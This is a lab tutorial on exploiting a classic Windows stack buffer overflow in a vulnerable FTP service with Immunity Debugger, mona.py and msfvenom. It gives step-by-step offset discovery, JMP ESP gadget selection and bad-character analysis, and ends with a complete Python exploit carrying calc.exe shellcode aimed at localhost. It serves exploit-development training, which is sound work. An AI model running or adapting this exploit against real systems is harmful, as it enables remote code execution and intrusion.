Tutorial

Windows Stack Buffer Overflow

Exploit a classic stack buffer overflow on Windows, from crash discovery to shellcode execution using Immunity Debugger and mona.py.

4 min read intermediate

Prerequisites

  • Basic understanding of x86 assembly
  • Familiarity with Immunity Debugger
  • Python scripting knowledge
  • Understanding of Windows memory layout

Part 1 of 7 in Windows Exploitation

Table of Contents

This tutorial walks through exploiting a stack buffer overflow in a Windows application. We’ll use Immunity Debugger with mona.py to find the offset, locate a JMP ESP gadget, identify bad characters, and execute shellcode.

Note

Lab Setup

  • Target: You’ll need a vulnerable application that accepts network input and crashes on oversized input. Typical choices include SLMail, Vulnserver, or similar intentionally vulnerable software running on a Windows VM.
  • Debugger: Immunity Debugger with mona.py installed.
  • Configure mona working directory: !mona config -set workingfolder c:\mona\%p
  • Windows version: Prefer Windows 7 or earlier for learning, as newer versions include additional mitigations (ASLR, DEP enabled by default).

Tools Required

  • Immunity Debugger: Windows debugger for exploit development
  • mona.py: Plugin for Immunity Debugger
  • Python 3: For exploit scripts
  • msfvenom: For shellcode generation

Exploit Skeleton

Start with a basic network exploit template:

#!/usr/bin/env python3
import socket

buffer = b"A" * 1000

print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.sendall(b'USER anonymous\r\n')
s.recv(1024)
s.sendall(b'PASS anonymous\r\n')
s.recv(1024)
s.sendall(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")

Finding the Offset

Confirm the Crash

Run the skeleton and observe EIP (Extended Instruction Pointer) — the register that holds the address of the next instruction to execute:

EIP: 0x41414141

EIP is overwritten with our ‘A’ characters.

Create Pattern

In Immunity Debugger, first configure the mona working directory (if you haven’t already):

!mona config -set workingfolder c:\mona\%p

Then generate the pattern:

!mona pattern_create 1000

This creates pattern.txt in the mona working directory.

Find Offset

After crashing with the pattern, note EIP value:

EIP: 69413269

Calculate the offset:

!mona pattern_offset 69413269
Pattern i2Ai (0x69413269) found at position 247

Verify Control

buffer = b"A" * 247
buffer += b"BBBB"      # EIP
buffer += b"C" * 749   # Remaining space

After running:

EIP: 42424242
ESP -> "CCCCCCCC..."

We control EIP, and ESP (Extended Stack Pointer) — the register that points to the top of the stack — points to our C buffer.

Stack Frame During Overflow

         Stack Growth
         (high -> low)

  +---------------------------+
  |       Caller's Frame      |
  +---------------------------+
  | Saved EIP (return addr)   | <-- Offset 247
  +---------------------------+
  | Saved EBP                 |
  +---------------------------+
  |                           |
  |    Local Buffer (247 B)   |
  |                           |
  +---------------------------+
  |         ...               |
  +---------------------------+ <-- ESP

  After overflow:

  +---------------------------+
  |       Caller's Frame      |
  +---------------------------+
  | BBBB (EIP overwrite)      | <-- We control this
  +---------------------------+
  | AAAA... (junk)            |
  +---------------------------+
  |                           |
  |    AAAA... (247 bytes)    |
  |                           |
  +---------------------------+
  |         ...               |
  +---------------------------+ <-- ESP -> "CCCC..."

When the function returns, the CPU pops our BBBB value into EIP and ESP advances to point at the C buffer. By placing a JMP ESP address where BBBB is, execution jumps into the data we control after the return address.

Finding JMP ESP

Since ESP points to data after EIP, we need a JMP ESP instruction to redirect execution.

!mona jmp -r ESP

Results show addresses from various DLLs. Choose one without null bytes and from a module without ASLR (Address Space Layout Randomization) — which randomizes the base addresses of loaded modules — or SafeSEH — a compiler-level protection that validates exception handler addresses against a whitelist:

0x77e2d9d3 : jmp esp | ADVAPI32.dll
ASLR: False, Rebase: False, SafeSEH: False

Testing Execution Flow

Add NOPs and INT3

buffer = b"A" * 247
buffer += b"\xd3\xd9\xe2\x77"  # JMP ESP (little endian)
buffer += b"\x90" * 20         # NOP sled
buffer += b"\xcc" * (749 - 20) # INT3 breakpoints

After running, the debugger should break on INT3, confirming code execution on the stack.

Identifying Bad Characters

Generate Test String

Create a byte array with all characters except null:

badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

Send and Analyze

buffer = b"A" * 247
buffer += b"\xd3\xd9\xe2\x77"
buffer += b"\x90" * 20
buffer += b"\xcc"
buffer += badchars
buffer += b"C" * (749 - 20 - 1 - len(badchars))

Examine the stack in memory. Look for missing or corrupted bytes:

  • If truncated at \x0a - newline is bad (common for FTP)
  • If truncated at \x0d - carriage return is bad
  • If bytes are missing in sequence - they’re bad characters

To verify bad characters: after sending a payload with all possible byte values (0x01-0xFF), right-click ESP in Immunity Debugger and select ‘Follow in Dump’. Compare the hex dump byte-by-byte against the expected sequence — any missing, replaced, or truncated bytes are bad characters that must be excluded from your shellcode.

Common Bad Characters

For FTP servers:

  • \x00 - Null (always bad)
  • \x0a - Newline
  • \x0d - Carriage return

Generating Shellcode

msfvenom -p windows/exec cmd=calc.exe \
         exitfunc=thread \
         -b "\x00\x0a\x0d" \
         -f c
unsigned char shellcode[] =
"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
...
"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64";

Complete Exploit

#!/usr/bin/env python3
import socket

shellcode = (
b"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
b"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
b"\x88\x3d\x5b\x87\x01\xd8\x6a\x87\x76\xa8\xdc\x37\xfc\xfc\xd0"
b"\xbc\x50\x15\x63\xb0\x7c\x1a\xc4\x7f\x5b\x15\xd5\x2c\x9f\x34"
b"\x55\x2f\xcc\x96\x64\xe0\x01\xd6\xa1\x1d\xeb\x8a\x7a\x69\x5e"
b"\x3b\x0f\x27\x63\xb0\x43\xa9\xe3\x25\x13\xc8\xc2\xfb\x28\x93"
b"\xc4\xfa\xfd\xaf\x4c\xe5\xe2\x8a\x07\x9e\xd0\x61\x96\x76\x29"
b"\x89\x35\xb7\x86\x78\x47\xff\x20\x63\x32\x09\x53\x1e\x45\xce"
b"\x2e\xc4\xc0\xd5\x88\x8f\x73\x32\x29\x43\xe5\xb1\x25\x28\x61"
b"\x9d\x29\xaf\xa6\x95\x55\x24\x49\x7a\xdc\x7e\x6e\x5e\x85\x25"
b"\x0f\xc7\x63\x8b\x30\x17\xcc\x74\x95\x53\xe0\x61\xa4\x39\x6e"
b"\x77\x3a\x44\xdc\x77\x44\x47\x70\x10\x75\xcc\x1f\x67\x8a\x07"
b"\x64\x87\x68\x82\x90\x20\x35\x47\x19\x2d\xc6\xbd\x5d\x48\x45"
b"\x34\x1d\xaf\x55\x3d\x18\xeb\xd1\xad\x50\x64\xb4\xd1\xc7\x85"
b"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64"
)

buffer = b"A"*247
buffer += b"\xd3\xd9\xe2\x77"  # JMP ESP
buffer += b"\x90"*20           # NOP sled
buffer += shellcode
buffer += b"C"*(749-20-len(shellcode))

print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.sendall(b'USER anonymous\r\n')
s.recv(1024)
s.sendall(b'PASS anonymous\r\n')
s.recv(1024)
s.sendall(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")

Buffer Layout

  Low Address                    High Address
  |                                        |
  v                                        v
  +-------+------+------+-----------+------+
  | Junk  | EIP  | NOPs | Shellcode | Pad  |
  | 247 B | 4 B  | 20 B | ~220 B   | Rest |
  +-------+------+------+-----------+------+
           |      ^
           |      | ESP points here after
           |      | function returns
           v      |
      JMP ESP ----+
           (from a loaded DLL)

  Execution flow:
  1. ret  -> pops EIP = JMP ESP addr
  2. ESP  -> now points past saved EIP
  3. JMP ESP -> jumps to NOP sled
  4. NOPs -> slide into shellcode
  5. Shellcode executes

Key Concepts

Why JMP ESP?

After ret executes:

  1. EIP is popped from stack
  2. ESP now points to data after EIP
  3. JMP ESP redirects execution to ESP

NOP Sled Purpose

  • Provides a safe landing zone
  • Absorbs minor address variations
  • Encoded shellcode sometimes needs decoder space

exitfunc=thread

Using thread exit function keeps the process running after shellcode. Use process to exit the entire application.

Troubleshooting

Shellcode Doesn’t Execute

  1. Check for additional bad characters
  2. Increase NOP sled size
  3. Verify JMP ESP address is correct
  4. Ensure DEP (Data Execution Prevention) is disabled — DEP prevents code execution from data regions like the stack

Access Violation

  1. JMP ESP address may contain bad chars
  2. Find alternative address from another module
  3. Check if ASLR is affecting the address